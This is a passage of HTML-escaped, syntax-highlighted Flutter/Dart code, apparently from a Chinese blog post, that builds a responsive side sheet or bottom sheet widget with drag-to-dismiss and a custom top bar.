class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这就是上面的东西,根据 SideSheet 和 BottomSheet 有所不同\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003eonTop\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eGestureDetector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eonVerticalDragUpdate:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDragUpdateDetails\u003c/span\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eglobalPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edy\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e30\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esurface\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eStack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eAlignmentDirectional\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransparent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"m\"\u003e32\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eonSurfaceVariant\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewithOpacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.4\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这里就是原先使用 AppBar 的地方,我这里被迫自己写了个类似的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"n\"\u003ekToolbarHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esurface\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIconButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eicon:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003earrow_back\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etextTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitleLarge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eAlign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 使用 Align 来侦测这个组件在右面还是底下\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebottomCenter\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenterRight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// 页面高度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esurface\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"n\"\u003eradius\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003ePadding\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esymmetric\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ehorizontal:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"m\"\u003e15\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003evertical:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eextendBodyBehindAppBar:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ePreferredSize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epreferredSize:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eonTop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 